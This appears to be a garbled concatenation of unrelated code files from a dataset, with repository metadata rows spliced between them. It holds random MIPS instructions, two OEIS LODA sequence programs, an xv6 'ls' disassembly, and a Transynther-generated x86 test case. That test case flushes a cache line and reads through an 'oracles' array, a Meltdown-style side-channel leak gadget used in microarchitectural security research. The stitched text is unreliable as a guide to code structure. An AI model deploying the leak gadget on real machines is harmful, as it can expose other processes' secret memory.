subu $6,$4,$3
subu $5,$5,$3
lb $3,14($0)
lw $3,16($0)
addiu $5,$4,-10965
addu $3,$3,$3
lhu $4,16($0)
srlv $3,$5,$3
sltu $3,$3,$3
addiu $6,$5,17430
ori $4,$1,45561
slt $4,$3,$3
sra $0,$0,29
lbu $1,0($0)
addu $3,$5,$3
sllv $6,$4,$3
srl $4,$3,3
nor $3,$3,$3
nor $1,$1,$3
sll $3,$3,18
slt $5,$3,$3
lh $4,10($0)
slti $4,$0,2286
ori $5,$1,6262
sw $1,4($0)
nor $3,$6,$3
or $3,$2,$3
xori $0,$0,21805
lw $1,8($0)
and $3,$4,$3
sll $5,$3,29
slt $3,$3,$3
sllv $5,$0,$3
andi $4,$6,57825
addiu $3,$3,19343
ori $3,$4,25873
slti $5,$6,-5333
sll $1,$0,9
subu $4,$5,$3
lhu $5,4($0)
slti $4,$3,28156
sllv $0,$2,$3
srlv $4,$1,$3
lh $4,6($0)
sltu $1,$4,$3
srav $3,$0,$3
ori $0,$0,46948
slti $0,$1,-7607
and $4,$1,$3
subu $1,$1,$3
lhu $6,16($0)
and $3,$5,$3
srlv $4,$3,$3
xori $2,$2,39014
srlv $0,$4,$3
ori $3,$4,41976
sltu $3,$3,$3
lb $3,15($0)
slti $4,$4,-1279
ori $5,$5,49664
sra $1,$4,5
nor $4,$4,$3
sll $3,$1,16
ori $3,$3,61951
sh $5,12($0)
srav $1,$4,$3
lw $3,4($0)
addu $4,$4,$3
xor $3,$5,$3
slt $0,$3,$3
addiu $6,$6,23713
subu $4,$5,$3
addu $5,$5,$3
sw $3,16($0)
slti $3,$4,-28963
srlv $1,$1,$3
sll $3,$3,14
lw $3,8($0)
andi $4,$4,45569
slti $1,$1,-21909
xori $1,$1,22021
sra $1,$4,25
or $3,$3,$3
sll $1,$5,20
addu $1,$6,$3
sra $4,$3,3
subu $3,$6,$3
or $5,$5,$3
andi $0,$3,19591
sltiu $1,$3,12079
lb $3,15($0)
slt $0,$3,$3
slti $4,$4,16358
lhu $6,6($0)
slt $3,$5,$3
lhu $6,2($0)
srl $4,$3,10
slt $1,$1,$3
lb $3,6($0)
sltiu $4,$6,-13848
srlv $3,$5,$3
srl $5,$2,19
sltu $4,$4,$3
sra $5,$3,2
lb $3,0($0)
and $5,$6,$3
srlv $0,$0,$3
nor $4,$4,$3
srlv $5,$0,$3
slti $4,$4,-14159
sb $6,16($0)
sll $3,$1,5
addu $4,$3,$3
lh $3,12($0)
sllv $0,$1,$3
slti $1,$0,-31104
subu $4,$4,$3
sh $3,4($0)
sllv $1,$4,$3
sh $0,2($0)
lb $1,11($0)
ori $3,$0,61547
lw $1,8($0)
lb $4,6($0)
slti $1,$0,31163
addiu $0,$6,-32758
slti $4,$1,10785
or $3,$1,$3
or $1,$1,$3
lh $3,6($0)
addiu $4,$3,4653
andi $6,$2,24102
sll $5,$3,28
lb $1,4($0)
xor $3,$3,$3
subu $4,$4,$3
sw $1,8($0)
lh $3,14($0)
sltu $4,$3,$3
lbu $1,0($0)
srlv $3,$6,$3
and $4,$4,$3
lw $5,0($0)
subu $3,$4,$3
srlv $1,$4,$3
lw $6,0($0)
or $4,$4,$3
sh $4,0($0)
nor $5,$5,$3
sh $3,12($0)
sltu $3,$6,$3
sb $5,13($0)
sllv $1,$1,$3
subu $0,$4,$3
srlv $0,$4,$3
sra $4,$4,28
sra $4,$3,26
and $4,$5,$3
andi $3,$3,22902
sll $1,$3,15
ori $3,$2,54443
subu $3,$5,$3
lh $4,4($0)
lbu $3,0($0)
ori $1,$3,25461
sh $3,6($0)
sltiu $3,$4,-3789
sb $4,4($0)
sltu $5,$4,$3
sll $4,$4,25
ori $4,$4,19502
addu $5,$5,$3
lbu $4,2($0)
srlv $3,$3,$3
srlv $3,$1,$3
ori $4,$4,65226
sh $4,2($0)
or $5,$3,$3
lhu $3,14($0)
lh $0,12($0)
addu $1,$4,$3
lw $0,16($0)
srl $4,$5,10
slt $4,$3,$3
sh $4,14($0)
xor $1,$3,$3
addiu $1,$4,-18922
addu $4,$5,$3
slt $1,$3,$3
srav $4,$5,$3
subu $0,$1,$3
addiu $3,$3,23765
sltiu $3,$3,3658
lhu $3,16($0)
lw $6,0($0)
andi $4,$4,17639
srl $5,$5,25
and $0,$5,$3
lbu $3,5($0)
addiu $4,$4,25828
slt $4,$4,$3
lb $3,13($0)
srlv $5,$5,$3
addiu $3,$2,26414
sra $5,$2,7
addu $3,$3,$3
sra $3,$6,31
subu $5,$3,$3
sllv $5,$5,$3
andi $4,$4,46192
lbu $3,4($0)
addu $3,$1,$3
srl $6,$4,28
or $1,$5,$3
xor $5,$5,$3
sll $4,$1,5
ori $3,$5,50076
sltu $1,$4,$3
sw $3,16($0)
lb $1,15($0)
srlv $3,$1,$3
sll $3,$1,29
or $5,$5,$3
sh $4,14($0)
sh $3,6($0)
srlv $0,$3,$3
subu $5,$1,$3
slti $3,$3,-31580
lw $4,0($0)
sltiu $4,$4,16709
addiu $1,$3,14650
andi $3,$6,7104
slti $4,$3,20787
sllv $0,$2,$3
ori $3,$3,50530
or $3,$3,$3
sh $4,2($0)
lhu $3,6($0)
subu $4,$3,$3
sltiu $5,$5,-21481
sltu $4,$1,$3
srl $3,$4,18
slti $3,$3,-17020
sb $0,14($0)
sll $3,$3,31
sltiu $3,$3,21919
slti $1,$3,12695
or $3,$3,$3
slti $3,$5,-16765
nor $6,$0,$3
or $3,$5,$3
lh $5,10($0)
nor $5,$5,$3
srlv $3,$3,$3
srl $3,$3,27
sh $6,10($0)
sll $4,$3,3
slti $1,$1,-18321
addiu $5,$1,-10092
lhu $4,8($0)
lbu $3,7($0)
slt $1,$6,$3
sh $5,4($0)
nor $5,$5,$3
xor $4,$3,$3
sll $4,$4,31
srav $3,$6,$3
nor $3,$6,$3
sltu $1,$3,$3
ori $4,$4,6729
addiu $0,$0,12502
nor $0,$5,$3
sra $4,$3,25
srlv $3,$6,$3
lh $4,2($0)
sra $0,$2,23
and $1,$0,$3
sll $1,$3,19
sllv $1,$1,$3
lb $6,7($0)
sb $1,7($0)
or $6,$4,$3
sra $1,$0,22
andi $3,$4,31211
nor $0,$4,$3
srav $1,$4,$3
sllv $1,$1,$3
slti $5,$1,4618
sra $5,$5,30
addu $1,$5,$3
lbu $5,13($0)
lbu $4,16($0)
or $1,$1,$3
lhu $3,0($0)
sltiu $5,$1,24764
subu $3,$3,$3
sllv $4,$4,$3
| 14.08099 | 18 | 0.523007 |
6b8ab568dab71710ea8d3595a72a3d481940c3cd | 715 | asm | Assembly | oeis/061/A061646.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/061/A061646.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/061/A061646.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A061646: a(n) = 2*a(n-1) + 2*a(n-2) - a(n-3) with a(-1) = 1, a(0) = 1, a(1) = 1.
; Submitted by Jon Maiga
; 1,1,1,3,7,19,49,129,337,883,2311,6051,15841,41473,108577,284259,744199,1948339,5100817,13354113,34961521,91530451,239629831,627359043,1642447297,4299982849,11257501249,29472520899,77160061447,202007663443,528862928881,1384581123201,3624880440721,9490060198963,24845300156167,65045840269539,170292220652449,445830821687809,1167200244410977,3055769911545123,8000109490224391,20944558559128051,54833566187159761,143556140002351233,375834853819893937,983948421457330579,2576010410552097799
mul $0,2
lpb $0
sub $0,2
sub $2,1
add $3,1
add $2,$3
div $2,2
mul $2,2
add $3,$2
lpe
mov $0,$2
add $0,1
| 42.058824 | 487 | 0.766434 |
b4f497dbe8c9587a7078c5516a13c55ba1051f52 | 758 | asm | Assembly | oeis/048/A048855.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/048/A048855.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/048/A048855.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A048855: Number of integers up to n! relatively prime to n!.
; Submitted by Christian Krause
; 1,1,1,2,8,32,192,1152,9216,82944,829440,8294400,99532800,1194393600,16721510400,250822656000,4013162496000,64210599936000,1155790798848000,20804234379264000,416084687585280000,8737778439290880000,192231125664399360000,4229084764616785920000,101498034350802862080000,2537450858770071552000000,65973722328021860352000000,1781290502856590229504000000,49876134079984526426112000000,1396531754239566739931136000000,41895952627187002197934080000000,1256878578815610065938022400000000
mov $1,1
mov $2,1
lpb $0
lpb $3
add $2,1
mov $3,1
mov $4,$1
gcd $4,$2
cmp $4,1
cmp $4,0
sub $3,$4
lpe
sub $0,1
mul $1,$2
add $3,1
lpe
mov $0,$1
| 34.454545 | 479 | 0.787599 |
328ec9480acca156c6626a1f33a576d6eecbf6c1 | 4,003 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_166.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_166.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_166.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r8
push %r9
push %rbp
push %rbx
// Load
lea addresses_PSE+0xb31f, %r9
nop
nop
nop
add %r14, %r14
vmovups (%r9), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %rbx
nop
nop
xor %rbx, %rbx
// Faulty Load
lea addresses_PSE+0x15ac7, %r14
clflush (%r14)
cmp $12844, %r13
mov (%r14), %r8d
lea oracles, %rbp
and $0xff, %r8
shlq $12, %r8
mov (%rbp,%r8,1), %r8
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 70.22807 | 2,999 | 0.660754 |
86ab5f7ad2b12f58a3877a909c32b76c093311f7 | 53,184 | asm | Assembly | ls.asm | TRamirez97/CSE460-HW02 | 321ead82e230f3f6948ef3934dba792d975d29f1 | [
"MIT-0"
] | null | null | null | ls.asm | TRamirez97/CSE460-HW02 | 321ead82e230f3f6948ef3934dba792d975d29f1 | [
"MIT-0"
] | 3 | 2020-03-10T00:51:25.000Z | 2020-03-12T01:03:59.000Z | ls.asm | TRamirez97/CSE460-HW02 | 321ead82e230f3f6948ef3934dba792d975d29f1 | [
"MIT-0"
] | null | null | null |
_ls: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
close(fd);
}
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 56 push %esi
e: 53 push %ebx
f: 51 push %ecx
10: 83 ec 0c sub $0xc,%esp
13: 8b 01 mov (%ecx),%eax
15: 8b 51 04 mov 0x4(%ecx),%edx
int i;
if(argc < 2){
18: 83 f8 01 cmp $0x1,%eax
1b: 7e 24 jle 41 <main+0x41>
1d: 8d 5a 04 lea 0x4(%edx),%ebx
20: 8d 34 82 lea (%edx,%eax,4),%esi
23: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
27: 90 nop
ls(".");
exit();
}
for(i=1; i<argc; i++)
ls(argv[i]);
28: 83 ec 0c sub $0xc,%esp
2b: ff 33 pushl (%ebx)
2d: 83 c3 04 add $0x4,%ebx
30: e8 cb 00 00 00 call 100 <ls>
for(i=1; i<argc; i++)
35: 83 c4 10 add $0x10,%esp
38: 39 f3 cmp %esi,%ebx
3a: 75 ec jne 28 <main+0x28>
exit();
3c: e8 52 05 00 00 call 593 <exit>
ls(".");
41: 83 ec 0c sub $0xc,%esp
44: 68 d0 0a 00 00 push $0xad0
49: e8 b2 00 00 00 call 100 <ls>
exit();
4e: e8 40 05 00 00 call 593 <exit>
53: 66 90 xchg %ax,%ax
55: 66 90 xchg %ax,%ax
57: 66 90 xchg %ax,%ax
59: 66 90 xchg %ax,%ax
5b: 66 90 xchg %ax,%ax
5d: 66 90 xchg %ax,%ax
5f: 90 nop
00000060 <fmtname>:
{
60: 55 push %ebp
61: 89 e5 mov %esp,%ebp
63: 56 push %esi
64: 53 push %ebx
65: 8b 75 08 mov 0x8(%ebp),%esi
for(p=path+strlen(path); p >= path && *p != '/'; p--)
68: 83 ec 0c sub $0xc,%esp
6b: 56 push %esi
6c: e8 4f 03 00 00 call 3c0 <strlen>
71: 83 c4 10 add $0x10,%esp
74: 01 f0 add %esi,%eax
76: 89 c3 mov %eax,%ebx
78: 73 0f jae 89 <fmtname+0x29>
7a: eb 12 jmp 8e <fmtname+0x2e>
7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80: 8d 43 ff lea -0x1(%ebx),%eax
83: 39 c6 cmp %eax,%esi
85: 77 0a ja 91 <fmtname+0x31>
87: 89 c3 mov %eax,%ebx
89: 80 3b 2f cmpb $0x2f,(%ebx)
8c: 75 f2 jne 80 <fmtname+0x20>
8e: 83 c3 01 add $0x1,%ebx
if(strlen(p) >= DIRSIZ)
91: 83 ec 0c sub $0xc,%esp
94: 53 push %ebx
95: e8 26 03 00 00 call 3c0 <strlen>
9a: 83 c4 10 add $0x10,%esp
9d: 83 f8 0d cmp $0xd,%eax
a0: 77 4a ja ec <fmtname+0x8c>
memmove(buf, p, strlen(p));
a2: 83 ec 0c sub $0xc,%esp
a5: 53 push %ebx
a6: e8 15 03 00 00 call 3c0 <strlen>
ab: 83 c4 0c add $0xc,%esp
ae: 50 push %eax
af: 53 push %ebx
b0: 68 04 0e 00 00 push $0xe04
b5: e8 a6 04 00 00 call 560 <memmove>
memset(buf+strlen(p), ' ', DIRSIZ-strlen(p));
ba: 89 1c 24 mov %ebx,(%esp)
bd: e8 fe 02 00 00 call 3c0 <strlen>
c2: 89 1c 24 mov %ebx,(%esp)
return buf;
c5: bb 04 0e 00 00 mov $0xe04,%ebx
memset(buf+strlen(p), ' ', DIRSIZ-strlen(p));
ca: 89 c6 mov %eax,%esi
cc: e8 ef 02 00 00 call 3c0 <strlen>
d1: ba 0e 00 00 00 mov $0xe,%edx
d6: 83 c4 0c add $0xc,%esp
d9: 29 f2 sub %esi,%edx
db: 05 04 0e 00 00 add $0xe04,%eax
e0: 52 push %edx
e1: 6a 20 push $0x20
e3: 50 push %eax
e4: e8 07 03 00 00 call 3f0 <memset>
return buf;
e9: 83 c4 10 add $0x10,%esp
}
ec: 8d 65 f8 lea -0x8(%ebp),%esp
ef: 89 d8 mov %ebx,%eax
f1: 5b pop %ebx
f2: 5e pop %esi
f3: 5d pop %ebp
f4: c3 ret
f5: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000100 <ls>:
{
100: 55 push %ebp
101: 89 e5 mov %esp,%ebp
103: 57 push %edi
104: 56 push %esi
105: 53 push %ebx
106: 81 ec 64 02 00 00 sub $0x264,%esp
10c: 8b 7d 08 mov 0x8(%ebp),%edi
if((fd = open(path, 0)) < 0){
10f: 6a 00 push $0x0
111: 57 push %edi
112: e8 bc 04 00 00 call 5d3 <open>
117: 83 c4 10 add $0x10,%esp
11a: 85 c0 test %eax,%eax
11c: 0f 88 9e 01 00 00 js 2c0 <ls+0x1c0>
if(fstat(fd, &st) < 0){
122: 83 ec 08 sub $0x8,%esp
125: 8d b5 d4 fd ff ff lea -0x22c(%ebp),%esi
12b: 89 c3 mov %eax,%ebx
12d: 56 push %esi
12e: 50 push %eax
12f: e8 b7 04 00 00 call 5eb <fstat>
134: 83 c4 10 add $0x10,%esp
137: 85 c0 test %eax,%eax
139: 0f 88 c1 01 00 00 js 300 <ls+0x200>
switch(st.type){
13f: 0f b7 85 d4 fd ff ff movzwl -0x22c(%ebp),%eax
146: 66 83 f8 01 cmp $0x1,%ax
14a: 74 64 je 1b0 <ls+0xb0>
14c: 66 83 f8 02 cmp $0x2,%ax
150: 74 1e je 170 <ls+0x70>
close(fd);
152: 83 ec 0c sub $0xc,%esp
155: 53 push %ebx
156: e8 60 04 00 00 call 5bb <close>
15b: 83 c4 10 add $0x10,%esp
}
15e: 8d 65 f4 lea -0xc(%ebp),%esp
161: 5b pop %ebx
162: 5e pop %esi
163: 5f pop %edi
164: 5d pop %ebp
165: c3 ret
166: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
16d: 8d 76 00 lea 0x0(%esi),%esi
printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size);
170: 83 ec 0c sub $0xc,%esp
173: 8b 95 e4 fd ff ff mov -0x21c(%ebp),%edx
179: 8b b5 dc fd ff ff mov -0x224(%ebp),%esi
17f: 57 push %edi
180: 89 95 b4 fd ff ff mov %edx,-0x24c(%ebp)
186: e8 d5 fe ff ff call 60 <fmtname>
18b: 8b 95 b4 fd ff ff mov -0x24c(%ebp),%edx
191: 59 pop %ecx
192: 5f pop %edi
193: 52 push %edx
194: 56 push %esi
195: 6a 02 push $0x2
197: 50 push %eax
198: 68 b0 0a 00 00 push $0xab0
19d: 6a 01 push $0x1
19f: e8 7c 05 00 00 call 720 <printf>
break;
1a4: 83 c4 20 add $0x20,%esp
1a7: eb a9 jmp 152 <ls+0x52>
1a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){
1b0: 83 ec 0c sub $0xc,%esp
1b3: 57 push %edi
1b4: e8 07 02 00 00 call 3c0 <strlen>
1b9: 83 c4 10 add $0x10,%esp
1bc: 83 c0 10 add $0x10,%eax
1bf: 3d 00 02 00 00 cmp $0x200,%eax
1c4: 0f 87 16 01 00 00 ja 2e0 <ls+0x1e0>
strcpy(buf, path);
1ca: 83 ec 08 sub $0x8,%esp
1cd: 57 push %edi
1ce: 8d bd e8 fd ff ff lea -0x218(%ebp),%edi
1d4: 57 push %edi
1d5: e8 66 01 00 00 call 340 <strcpy>
p = buf+strlen(buf);
1da: 89 3c 24 mov %edi,(%esp)
1dd: e8 de 01 00 00 call 3c0 <strlen>
while(read(fd, &de, sizeof(de)) == sizeof(de)){
1e2: 83 c4 10 add $0x10,%esp
p = buf+strlen(buf);
1e5: 01 f8 add %edi,%eax
*p++ = '/';
1e7: 8d 48 01 lea 0x1(%eax),%ecx
p = buf+strlen(buf);
1ea: 89 85 a8 fd ff ff mov %eax,-0x258(%ebp)
*p++ = '/';
1f0: 89 8d a4 fd ff ff mov %ecx,-0x25c(%ebp)
1f6: c6 00 2f movb $0x2f,(%eax)
while(read(fd, &de, sizeof(de)) == sizeof(de)){
1f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
200: 83 ec 04 sub $0x4,%esp
203: 8d 85 c4 fd ff ff lea -0x23c(%ebp),%eax
209: 6a 10 push $0x10
20b: 50 push %eax
20c: 53 push %ebx
20d: e8 99 03 00 00 call 5ab <read>
212: 83 c4 10 add $0x10,%esp
215: 83 f8 10 cmp $0x10,%eax
218: 0f 85 34 ff ff ff jne 152 <ls+0x52>
if(de.inum == 0)
21e: 66 83 bd c4 fd ff ff cmpw $0x0,-0x23c(%ebp)
225: 00
226: 74 d8 je 200 <ls+0x100>
memmove(p, de.name, DIRSIZ);
228: 83 ec 04 sub $0x4,%esp
22b: 8d 85 c6 fd ff ff lea -0x23a(%ebp),%eax
231: 6a 0e push $0xe
233: 50 push %eax
234: ff b5 a4 fd ff ff pushl -0x25c(%ebp)
23a: e8 21 03 00 00 call 560 <memmove>
p[DIRSIZ] = 0;
23f: 8b 85 a8 fd ff ff mov -0x258(%ebp),%eax
245: c6 40 0f 00 movb $0x0,0xf(%eax)
if(stat(buf, &st) < 0){
249: 58 pop %eax
24a: 5a pop %edx
24b: 56 push %esi
24c: 57 push %edi
24d: e8 7e 02 00 00 call 4d0 <stat>
252: 83 c4 10 add $0x10,%esp
255: 85 c0 test %eax,%eax
257: 0f 88 cb 00 00 00 js 328 <ls+0x228>
printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size);
25d: 83 ec 0c sub $0xc,%esp
260: 8b 8d e4 fd ff ff mov -0x21c(%ebp),%ecx
266: 8b 95 dc fd ff ff mov -0x224(%ebp),%edx
26c: 57 push %edi
26d: 0f bf 85 d4 fd ff ff movswl -0x22c(%ebp),%eax
274: 89 8d ac fd ff ff mov %ecx,-0x254(%ebp)
27a: 89 95 b0 fd ff ff mov %edx,-0x250(%ebp)
280: 89 85 b4 fd ff ff mov %eax,-0x24c(%ebp)
286: e8 d5 fd ff ff call 60 <fmtname>
28b: 5a pop %edx
28c: 8b 95 b0 fd ff ff mov -0x250(%ebp),%edx
292: 59 pop %ecx
293: 8b 8d ac fd ff ff mov -0x254(%ebp),%ecx
299: 51 push %ecx
29a: 52 push %edx
29b: ff b5 b4 fd ff ff pushl -0x24c(%ebp)
2a1: 50 push %eax
2a2: 68 b0 0a 00 00 push $0xab0
2a7: 6a 01 push $0x1
2a9: e8 72 04 00 00 call 720 <printf>
2ae: 83 c4 20 add $0x20,%esp
2b1: e9 4a ff ff ff jmp 200 <ls+0x100>
2b6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
2bd: 8d 76 00 lea 0x0(%esi),%esi
printf(2, "ls: cannot open %s\n", path);
2c0: 83 ec 04 sub $0x4,%esp
2c3: 57 push %edi
2c4: 68 88 0a 00 00 push $0xa88
2c9: 6a 02 push $0x2
2cb: e8 50 04 00 00 call 720 <printf>
return;
2d0: 83 c4 10 add $0x10,%esp
}
2d3: 8d 65 f4 lea -0xc(%ebp),%esp
2d6: 5b pop %ebx
2d7: 5e pop %esi
2d8: 5f pop %edi
2d9: 5d pop %ebp
2da: c3 ret
2db: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
2df: 90 nop
printf(1, "ls: path too long\n");
2e0: 83 ec 08 sub $0x8,%esp
2e3: 68 bd 0a 00 00 push $0xabd
2e8: 6a 01 push $0x1
2ea: e8 31 04 00 00 call 720 <printf>
break;
2ef: 83 c4 10 add $0x10,%esp
2f2: e9 5b fe ff ff jmp 152 <ls+0x52>
2f7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
2fe: 66 90 xchg %ax,%ax
printf(2, "ls: cannot stat %s\n", path);
300: 83 ec 04 sub $0x4,%esp
303: 57 push %edi
304: 68 9c 0a 00 00 push $0xa9c
309: 6a 02 push $0x2
30b: e8 10 04 00 00 call 720 <printf>
close(fd);
310: 89 1c 24 mov %ebx,(%esp)
313: e8 a3 02 00 00 call 5bb <close>
return;
318: 83 c4 10 add $0x10,%esp
}
31b: 8d 65 f4 lea -0xc(%ebp),%esp
31e: 5b pop %ebx
31f: 5e pop %esi
320: 5f pop %edi
321: 5d pop %ebp
322: c3 ret
323: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
327: 90 nop
printf(1, "ls: cannot stat %s\n", buf);
328: 83 ec 04 sub $0x4,%esp
32b: 57 push %edi
32c: 68 9c 0a 00 00 push $0xa9c
331: 6a 01 push $0x1
333: e8 e8 03 00 00 call 720 <printf>
continue;
338: 83 c4 10 add $0x10,%esp
33b: e9 c0 fe ff ff jmp 200 <ls+0x100>
00000340 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
340: 55 push %ebp
char *os;
os = s;
while((*s++ = *t++) != 0)
341: 31 c0 xor %eax,%eax
{
343: 89 e5 mov %esp,%ebp
345: 53 push %ebx
346: 8b 4d 08 mov 0x8(%ebp),%ecx
349: 8b 5d 0c mov 0xc(%ebp),%ebx
34c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while((*s++ = *t++) != 0)
350: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx
354: 88 14 01 mov %dl,(%ecx,%eax,1)
357: 83 c0 01 add $0x1,%eax
35a: 84 d2 test %dl,%dl
35c: 75 f2 jne 350 <strcpy+0x10>
;
return os;
}
